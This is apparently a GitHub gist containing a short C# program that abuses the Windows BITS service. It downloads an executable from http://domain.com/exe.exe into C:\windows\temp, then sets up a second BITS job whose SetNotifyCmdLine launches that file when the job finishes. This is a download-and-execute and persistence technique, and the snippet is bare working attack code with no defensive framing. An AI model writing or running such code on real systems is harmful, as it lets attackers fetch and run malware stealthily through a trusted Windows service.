Skip to content

Instantly share code, notes, and snippets.

@M507
Created February 3, 2021 05:43
Show Gist options
  • Save M507/b7c928fc54e30c3e8a39d45065fb68ab to your computer and use it in GitHub Desktop.
Save M507/b7c928fc54e30c3e8a39d45065fb68ab to your computer and use it in GitHub Desktop.
using BITS = BITSReference1_5;
namespace ConsoleApp2
{
class Program
{
class BISTJobObject
{
static BITS.BackgroundCopyManager1_5 BITSManager;
static BITS.GUID JobGUID;
static BITS.IBackgroundCopyJob JobIBMCopyJob;
static BISTJobObject BISTJobObjectVar;
public BISTJobObject()
{
BITSManager = new BITS.BackgroundCopyManager1_5();
}
public static void Main(string[] args)
{
BISTJobObjectVar = new BISTJobObject();
string remoteFile = @"http://domain.com/exe.exe";
string localFile = @"C:\windows\temp\exe.exe";
string name = "name";
// Create a new download job
BITSManager.CreateJob(name, BITS.BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out JobGUID, out JobIBMCopyJob);
// Configure it
JobIBMCopyJob.AddFile(remoteFile, localFile);
BISTJobObjectVar.RunBITSJob();
// Create a new job
BITSManager.CreateJob(name, BITS.BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out JobGUID, out JobIBMCopyJob);
// Configure it
JobIBMCopyJob.AddFile(remoteFile, localFile);
BISTJobObjectVar.setCMDArguments(JobIBMCopyJob, localFile, "");
// Run the job
JobIBMCopyJob.Resume();
}
// BITS Job execution
private void RunBITSJob()
{
// Run
JobIBMCopyJob.Resume();
bool jobIsFinal = false;
while (!jobIsFinal)
{
BITS.BG_JOB_STATE state;
JobIBMCopyJob.GetState(out state);
switch (state)
{
case BITS.BG_JOB_STATE.BG_JOB_STATE_ERROR:
// Wait
System.Threading.Thread.Sleep(500);
break;
case BITS.BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED:
JobIBMCopyJob.Complete();
break;
case BITS.BG_JOB_STATE.BG_JOB_STATE_ACKNOWLEDGED:
jobIsFinal = true;
break;
default:
// Wait
System.Threading.Thread.Sleep(500);
break;
}
}
}
private void setCMDArguments(BITS.IBackgroundCopyJob job, string filename, string args)
{
// So it knows SetNotifyCmdLine
var tmp_job = job as BITS.IBackgroundCopyJob2;
tmp_job.SetNotifyCmdLine(filename, args);
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment